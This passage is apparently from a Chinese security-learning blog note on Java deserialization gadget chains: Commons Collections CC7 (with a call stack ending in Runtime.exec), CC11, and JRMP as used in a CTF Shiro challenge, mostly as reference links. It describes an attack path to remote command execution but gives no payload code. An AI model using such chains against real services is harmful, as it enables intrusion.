而我们通过参考https://www.anquanke.com/post/id/248169#h2-6文章和自己调试也发现我们在进行put的时候也会调用上面所分析的一系列方法导致最后put时最后调用get的时候我们会传入yy方法此时呢map对象是lazymap2其中是没有yy的值的但是

我们发现他会put进去,所以我们需要在序列化之前将其值删除掉,这样在反序列化的时候我们才能进入判断条件从而调用transform方法。

cc7调用链

直接贴原作的

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

java cc11链

参考:https://drun1baby.top/2022/07/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8709-CC11%E9%93%BE/#2-%E6%89%BE%E9%93%BE%E5%AD%90

http://wjlshare.com/archives/1536

JRMP反序列化

这里来聊聊jrmp反序列化起因是今天打泽鹿的一个车联网的一道题shiro反序列化绕过用到了这个jrmp,当时直接用工具梭的并不知道其原理,赛后我们来学习一下当作记录。

这里可以参考我在rmi原理中记录的文章就没有自己写。

也可以参考这个文章:https://boogipop.com/2024/02/29/Ysoserial%20JRMPListener_Client%20Review/#Summary

https://mp.weixin.qq.com/s/tlqNfOGUMdX0ionGBP2DeQ

https://www.cnblogs.com/nice0e3/p/14333695.html

https://xz.aliyun.com/t/12780?time__1311=GqGxu7G%3DqCwxlrzG77DODciRF9lmioD

https://lalajun.github.io/2020/06/22/RMI%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E6%B7%B1%E5%85%A5-%E4%B8%8B/#%E5%89%8D%E8%A8%80

深入java序列化和反序列化

https://blog.csdn.net/Leon_cx/article/details/81517603